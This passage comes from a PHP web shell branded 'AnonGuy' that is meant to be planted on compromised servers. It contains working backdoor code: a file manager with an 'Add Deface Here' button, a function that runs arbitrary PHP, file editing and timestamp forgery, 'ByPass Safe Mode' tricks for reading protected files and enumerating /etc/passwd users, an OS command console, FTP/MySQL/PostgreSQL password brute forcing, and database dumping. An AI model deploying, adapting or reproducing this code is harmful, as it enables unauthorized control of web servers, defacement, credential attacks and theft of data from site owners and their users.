  630. $sort = array('name', 1);
  631. if(!empty($_POST['p1'])) {
  632. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  633. $sort = array($match[1], (int)$match[2]);
  634. }
  635. echo '<script>
  636. function sa() {
  637. for(i=0;i<document.files.elements.length;i++)
  638. if(document.files.elements[i].type == \'checkbox\')
  639. document.files.elements[i].checked = document.files.elements[0].checked;
  640. }
  641. </script>
  642. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  643. <form name=files method=post>';
  644. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  645. $dirs = $files = $links = array();
  646. $n = count($dirContent);
  647. for($i=0;$i<$n;$i++) {
  648. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  649. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  650. $tmp = array('name' => $dirContent[$i],
  651. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  652. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  653. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  654. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  655. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  656. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  657. );
  658. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  659. $files[] = array_merge($tmp, array('type' => 'file'));
  660. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  661. $links[] = array_merge($tmp, array('type' => 'link'));
  662. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  663. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  664. }
  665. $GLOBALS['sort'] = $sort;
  666. function cmp($a, $b) {
  667. if($GLOBALS['sort'][0] != 'size')
  668. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  669. else
  670. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  671. }
  672. usort($files, "cmp");
  673. usort($dirs, "cmp");
  674. usort($links, "cmp");
  675. $files = array_merge($dirs, $links, $files);
  676. $l = 0;
  677. foreach($files as $f) {
  678. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  679. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  680. $l = $l?0:1;
  681. }
  682. echo '<tr><td colspan=5>
  683. <input type=hidden name=a value=\'FilesMan\'>
  684. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  685. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  686. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  687. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  688. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="AnOnGuY.html" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
  689. </form></table></div>';
  690. printFooter();
  691. }
  692.  
  693. function actionStringTools() {
  694. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  695. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  696. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  697. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  698.  
  699. if(isset($_POST['ajax'])) {
  700. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  701. ob_start();
  702. if(function_exists($_POST['p1']))
  703. echo $_POST['p1']($_POST['p2']);
  704. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\
  705. \
  706. \t\\'\0")."';\
  707. ";
  708. echo strlen($temp), "\
  709. ", $temp;
  710. exit;
  711. }
  712. printHeader();
  713. echo '<h1>String Converter</h1><div class=content>';
  714. $stringTools = array(
  715. 'Base64 encode' => 'base64_encode',
  716. 'Base64 decode' => 'base64_decode',
  717. 'Url encode' => 'urlencode',
  718. 'Url decode' => 'urldecode',
  719. 'Full urlencode' => 'full_urlencode',
  720. 'md5 hash' => 'md5',
  721. 'sha1 hash' => 'sha1',
  722. 'crypt' => 'crypt',
  723. 'CRC32' => 'crc32',
  724. 'ASCII to HEX' => 'ascii2hex',
  725. 'HEX to ASCII' => 'hex2ascii',
  726. 'HEX to DEC' => 'hexdec',
  727. 'HEX to BIN' => 'hex2bin',
  728. 'DEC to HEX' => 'dechex',
  729. 'DEC to BIN' => 'decbin',
  730. 'BIN to HEX' => 'bin2hex',
  731. 'BIN to DEC' => 'bindec',
  732. 'String to lower case' => 'strtolower',
  733. 'String to upper case' => 'strtoupper',
  734. 'Htmlspecialchars' => 'htmlspecialchars',
  735. 'String length' => 'strlen',
  736. );
  737. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  738. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  739. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  740. foreach($stringTools as $k => $v)
  741. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  742. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  743. if(!empty($_POST['p1'])) {
  744. if(function_exists($_POST['p1']))
  745. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  746. }
  747. echo"</pre></div>";
  748. printFooter();
  749. }
  750.  
  751. function actionFilesTools() {
  752. if( isset($_POST['p1']) )
  753. $_POST['p1'] = urldecode($_POST['p1']);
  754. if(@$_POST['p2']=='download') {
  755. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  756. ob_start("ob_gzhandler", 4096);
  757. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  758. if (function_exists("mime_content_type")) {
  759. $type = @mime_content_type($_POST['p1']);
  760. header("Content-Type: ".$type);
  761. }
  762. $fp = @fopen($_POST['p1'], "r");
  763. if($fp) {
  764. while(!@feof($fp))
  765. echo @fread($fp, 1024);
  766. fclose($fp);
  767. }
  768. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  769.  
  770. }
  771. exit;
  772. }
  773. if( @$_POST['p2'] == 'mkfile' ) {
  774. if(!file_exists($_POST['p1'])) {
  775. $fp = @fopen($_POST['p1'], 'w');
  776. if($fp) {
  777. $_POST['p2'] = "edit";
  778. fclose($fp);
  779. }
  780. }
  781. }
  782. printHeader();
  783. echo '<h1>File tools</h1><div class=content>';
  784. if( !file_exists(@$_POST['p1']) ) {
  785. echo 'File not exists';
  786. printFooter();
  787. return;
  788. }
  789. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  790. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  791. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  792. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  793. if( empty($_POST['p2']) )
  794. $_POST['p2'] = 'view';
  795. if( is_file($_POST['p1']) )
  796. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  797. else
  798. $m = array('Chmod', 'Rename', 'Touch');
  799. foreach($m as $v)
  800. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  801. echo '<br><br>';
  802. switch($_POST['p2']) {
  803. case 'view':
  804. echo '<pre class=ml1>';
  805. $fp = @fopen($_POST['p1'], 'r');
  806. if($fp) {
  807. while( !@feof($fp) )
  808. echo htmlspecialchars(@fread($fp, 1024));
  809. @fclose($fp);
  810. }
  811. echo '</pre>';
  812. break;
  813. case 'highlight':
  814. if( is_readable($_POST['p1']) ) {
  815. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  816. $code = highlight_file($_POST['p1'],true);
  817. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  818. }
  819. break;
  820. case 'chmod':
  821. if( !empty($_POST['p3']) ) {
  822. $perms = 0;
  823. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  824. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  825. if(!@chmod($_POST['p1'], $perms))
  826. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  827. else
  828. die('<script>g(null,null,null,null,"")</script>');
  829. }
  830. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  831. break;
  832. case 'edit':
  833. if( !is_writable($_POST['p1'])) {
  834. echo 'File isn\'t writeable';
  835. break;
  836. }
  837. if( !empty($_POST['p3']) ) {
  838. @file_put_contents($_POST['p1'],$_POST['p3']);
  839. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  840. }
  841. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  842. $fp = @fopen($_POST['p1'], 'r');
  843. if($fp) {
  844. while( !@feof($fp) )
  845. echo htmlspecialchars(@fread($fp, 1024));
  846. @fclose($fp);
  847. }
  848. echo '</textarea><input type=submit value=">>"></form>';
  849. break;
  850. case 'hexdump':
  851. $c = @file_get_contents($_POST['p1']);
  852. $n = 0;
  853. $h = array('00000000<br>','','');
  854. $len = strlen($c);
  855. for ($i=0; $i<$len; ++$i) {
  856. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  857. switch ( ord($c[$i]) ) {
  858. case 0: $h[2] .= ' '; break;
  859. case 9: $h[2] .= ' '; break;
  860. case 10: $h[2] .= ' '; break;
  861. case 13: $h[2] .= ' '; break;
  862. default: $h[2] .= $c[$i]; break;
  863. }
  864. $n++;
  865. if ($n == 32) {
  866. $n = 0;
  867. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  868. $h[1] .= '<br>';
  869. $h[2] .= "\
  870. ";
  871. }
  872. }
  873. echo '<table cellspacing=1 cellpadding=5 bgcolor=#000000><tr><td bgcolor=#000000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#000000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  874. break;
  875. case 'rename':
  876. if( !empty($_POST['p3']) ) {
  877. if(!@rename($_POST['p1'], $_POST['p3']))
  878. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  879. else
  880. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  881. }
  882. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  883. break;
  884. case 'touch':
  885. if( !empty($_POST['p3']) ) {
  886. $time = strtotime($_POST['p3']);
  887. if($time) {
  888. if(@touch($_POST['p1'],$time,$time))
  889. die('<script>g(null,null,null,null,"")</script>');
  890. else {
  891. echo 'Fail!<script>document.mf.p3.value="";</script>';
  892. }
  893. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  894. }
  895. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  896. break;
  897. case 'mkfile':
  898.  
  899. break;
  900. }
  901. echo '</div>';
  902. printFooter();
  903. }
  904.  
  905. function actionSafeMode() {
  906. $temp='';
  907. ob_start();
  908. switch($_POST['p1']) {
  909. case 1:
  910. $temp=@tempnam($test, 'cx');
  911. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  912. echo @file_get_contents($temp);
  913. unlink($temp);
  914. } else
  915. echo 'Sorry... Can\'t open file';
  916. break;
  917. case 2:
  918. $files = glob($_POST['p2'].'*');
  919. if( is_array($files) )
  920. foreach ($files as $filename)
  921. echo $filename."\
  922. ";
  923. break;
  924. case 3:
  925. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  926. curl_exec($ch);
  927. break;
  928. case 4:
  929. ini_restore("safe_mode");
  930. ini_restore("open_basedir");
  931. include($_POST['p2']);
  932. break;
  933. case 5:
  934. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  935. $uid = @posix_getpwuid($_POST['p2']);
  936. if ($uid)
  937. echo join(':',$uid)."\
  938. ";
  939. }
  940. break;
  941. case 6:
  942. if(!function_exists('imap_open'))break;
  943. $stream = imap_open($_POST['p2'], "", "");
  944. if ($stream == FALSE)
  945. break;
  946. echo imap_body($stream, 1);
  947. imap_close($stream);
  948. break;
  949. }
  950. $temp = ob_get_clean();
  951. printHeader();
  952. echo '<h1>ByPass Safe Mode !</h1><div class=content>';
  953. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  954. if($temp)
  955. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  956. echo '</div>';
  957. printFooter();
  958. }
  959.  
  960. function actionConsole() {
  961. if(isset($_POST['ajax'])) {
  962. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  963. ob_start();
  964. echo "document.cf.cmd.value='';\
  965. ";
  966. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\
  967. $ ".$_POST['p1']."\
  968. ".ex($_POST['p1']),"\
  969. \
  970. \t\\'\0"));
  971. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  972. if(@chdir($match[1])) {
  973. $GLOBALS['cwd'] = @getcwd();
  974. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  975. }
  976. }
  977. echo "document.cf.output.value+='".$temp."';";
  978. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  979. $temp = ob_get_clean();
  980. echo strlen($temp), "\
  981. ", $temp;
  982. exit;
  983. }
  984. printHeader();
  985.  
  986. echo '<script>
  987. if(window.Event) window.captureEvents(Event.KEYDOWN);
  988. var cmds = new Array("");
  989. var cur = 0;
  990. function kp(e) {
  991. var n = (window.Event) ? e.which : e.keyCode;
  992. if(n == 38) {
  993. cur--;
  994. if(cur>=0)
  995. document.cf.cmd.value = cmds[cur];
  996. else
  997. cur++;
  998. } else if(n == 40) {
  999. cur++;
  1000. if(cur < cmds.length)
  1001. document.cf.cmd.value = cmds[cur];
  1002. else
  1003. cur--;
  1004. }
  1005. }
  1006. function add(cmd) {
  1007. cmds.pop();
  1008. cmds.push(cmd);
  1009. cmds.push("");
  1010. cur = cmds.length-1;
  1011. }
  1012. </script>';
  1013. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1014. foreach($GLOBALS['aliases'] as $n => $v) {
  1015. if($v == '') {
  1016. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1017. continue;
  1018. }
  1019. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1020. }
  1021. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1022. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1023. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1024. if(!empty($_POST['p1'])) {
  1025. echo htmlspecialchars("$ ".$_POST['p1']."\
  1026. ".ex($_POST['p1']));
  1027. }
  1028. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
  1029. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1030. printFooter();
  1031. }
  1032.  
  1033. function actionLogout() {
  1034. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1035. echo '<body bgcolor=#000000><center><img src="http://s16.postimg.org/6v4bbw1ut/Untjitled_1.jpg"></center></body>';
  1036. }
  1037.  
  1038. function actionSelfRemove() {
  1039. printHeader();
  1040. if($_POST['p1'] == 'yes') {
  1041. if(@unlink(SELF_PATH))
  1042. die('Thank You For Your Hospitality, AnonGuy !!');
  1043. else
  1044. echo 'unlink error!';
  1045. }
  1046. echo '<h1>Suicide</h1><div class=content>You really want to remove me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1047. printFooter();
  1048. }
  1049.  
  1050. function actionBruteforce() {
  1051. printHeader();
  1052. if( isset($_POST['proto']) ) {
  1053. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1054. if( $_POST['proto'] == 'ftp' ) {
  1055. function bruteForce($ip,$port,$login,$pass) {
  1056. $fp = @ftp_connect($ip, $port?$port:21);
  1057. if(!$fp) return false;
  1058. $res = @ftp_login($fp, $login, $pass);
  1059. @ftp_close($fp);
  1060. return $res;
  1061. }
  1062. } elseif( $_POST['proto'] == 'mysql' ) {
  1063. function bruteForce($ip,$port,$login,$pass) {
  1064. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1065. @mysql_close($res);
  1066. return $res;
  1067. }
  1068. } elseif( $_POST['proto'] == 'pgsql' ) {
  1069. function bruteForce($ip,$port,$login,$pass) {
  1070. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  1071. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  1072. @pg_close($res);
  1073. return $res;
  1074. }
  1075. }
  1076. $success = 0;
  1077. $attempts = 0;
  1078. $server = explode(":", $_POST['server']);
  1079. if($_POST['type'] == 1) {
  1080. $temp = @file('/etc/passwd');
  1081. if( is_array($temp) )
  1082. foreach($temp as $line) {
  1083. $line = explode(":", $line);
  1084. ++$attempts;
  1085. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1086. $success++;
  1087. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1088. }
  1089. if(@$_POST['reverse']) {
  1090. $tmp = "";
  1091. for($i=strlen($line[0])-1; $i>=0; --$i)
  1092. $tmp .= $line[0][$i];
  1093. ++$attempts;
  1094. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1095. $success++;
  1096. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1097. }
  1098. }
  1099. }
  1100. } elseif($_POST['type'] == 2) {
  1101. $temp = @file($_POST['dict']);
  1102. if( is_array($temp) )
  1103. foreach($temp as $line) {
  1104. $line = trim($line);
  1105. ++$attempts;
  1106. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1107. $success++;
  1108. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1109. }
  1110. }
  1111. }
  1112. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1113. }
  1114. echo '<h1>FTP BruteForce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1115. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1116. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1117. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1118. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1119. .'<span>Server:Port</span></td>'
  1120. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1121. .'<tr><td><span>Brute type</span></td>'
  1122. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1123. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1124. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1125. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1126. .'<td><input type=text name=login value="AnonGuy"></td></tr>'
  1127. .'<tr><td><span>Dictionary</span></td>'
  1128. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1129. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1130. echo '</div><br>';
  1131. printFooter();
  1132. }
  1133.  
  1134. function actionSql() {
  1135. class DbClass {
  1136. var $type;
  1137. var $link;
  1138. var $res;
  1139. function DbClass($type) {
  1140. $this->type = $type;
  1141. }
  1142. function connect($host, $user, $pass, $dbname){
  1143. switch($this->type) {
  1144. case 'mysql':
  1145. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1146. break;
  1147. case 'pgsql':
  1148. $host = explode(':', $host);
  1149. if(!$host[1]) $host[1]=5432;
  1150. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1151. break;
  1152. }
  1153. return false;
  1154. }
  1155. function selectdb($db) {
  1156. switch($this->type) {
  1157. case 'mysql':
  1158. if (@mysql_select_db($db))return true;
  1159. break;
  1160. }
  1161. return false;
  1162. }
  1163. function query($str) {
  1164. switch($this->type) {
  1165. case 'mysql':
  1166. return $this->res = @mysql_query($str);
  1167. break;
  1168. case 'pgsql':
  1169. return $this->res = @pg_query($this->link,$str);
  1170. break;
  1171. }
  1172. return false;
  1173. }
  1174. function fetch() {
  1175. $res = func_num_args()?func_get_arg(0):$this->res;
  1176. switch($this->type) {
  1177. case 'mysql':
  1178. return @mysql_fetch_assoc($res);
  1179. break;
  1180. case 'pgsql':
  1181. return @pg_fetch_assoc($res);
  1182. break;
  1183. }
  1184. return false;
  1185. }
  1186. function listDbs() {
  1187. switch($this->type) {
  1188. case 'mysql':
  1189. return $this->res = @mysql_list_dbs($this->link);
  1190. break;
  1191. case 'pgsql':
  1192. return $this->res = $this->query("SELECT datname FROM pg_database");
  1193. break;
  1194. }
  1195. return false;
  1196. }
  1197. function listTables() {
  1198. switch($this->type) {
  1199. case 'mysql':
  1200. return $this->res = $this->query('SHOW TABLES');
  1201. break;
  1202. case 'pgsql':
  1203. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  1204. break;
  1205. }
  1206. return false;
  1207. }
  1208. function error() {
  1209. switch($this->type) {
  1210. case 'mysql':
  1211. return @mysql_error($this->link);
  1212. break;
  1213. case 'pgsql':
  1214. return @pg_last_error($this->link);
  1215. break;
  1216. }
  1217. return false;
  1218. }
  1219. function setCharset($str) {
  1220. switch($this->type) {
  1221. case 'mysql':
  1222. if(function_exists('mysql_set_charset'))
  1223. return @mysql_set_charset($str, $this->link);
  1224. else
  1225. $this->query('SET CHARSET '.$str);
  1226. break;
  1227. case 'mysql':
  1228. return @pg_set_client_encoding($this->link, $str);
  1229. break;
  1230. }
  1231. return false;
  1232. }
  1233. function dump($table) {
  1234. switch($this->type) {
  1235. case 'mysql':
  1236. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1237. $create = mysql_fetch_array($res);
  1238. echo $create[1].";\
  1239. \
  1240. ";
  1241. $this->query('SELECT * FROM `'.$table.'`');
  1242. while($item = $this->fetch()) {
  1243. $columns = array();
  1244. foreach($item as $k=>$v) {
  1245. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1246. $columns[] = "`".$k."`";
  1247. }
  1248. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\
  1249. ";
  1250. }
  1251. break;
  1252. case 'pgsql':
  1253. $this->query('SELECT * FROM '.$table);
  1254. while($item = $this->fetch()) {
  1255. $columns = array();
  1256. foreach($item as $k=>$v) {
  1257. $item[$k] = "'".addslashes($v)."'";
  1258. $columns[] = $k;
  1259. }
  1260. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\
  1261. ";
  1262. }
  1263. break;
  1264. }
  1265. return false;
  1266. }
  1267. };
  1268. $db = new DbClass(@$_POST['type']);
  1269. if(@$_POST['p2']=='download') {
  1270. ob_start("ob_gzhandler", 4096);
  1271. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1272. $db->selectdb($_POST['sql_base']);
  1273. header("Content-Disposition: attachment; filename=dump.sql");
  1274. header("Content-Type: text/plain");
  1275. foreach($_POST['tbl'] as $v)
  1276. $db->dump($v);
  1277. exit;
  1278. }
  1279. printHeader();
  1280. echo '<h1>SQL Browser</h1><div class=content>
  1281. <form name="sf" method="post">
  1282. <table cellpadding="2" cellspacing="0">
  1283. <tr>
  1284. <td>Type</td>
  1285. <td>Host</td>
  1286. <td>Login</td>
  1287. <td>Password</td>
  1288. <td>Database</td>
  1289. <td></td>
  1290. </tr>
  1291. <tr>
  1292. <input type=hidden name=a value=Sql>
  1293. <input type=hidden name=p1 value=\'query\'>
  1294. <input type=hidden name=p2>
  1295. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1296. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1297. <td>
  1298. <select name=\'type\'>
  1299. <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
  1300. <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
  1301. </select></td>
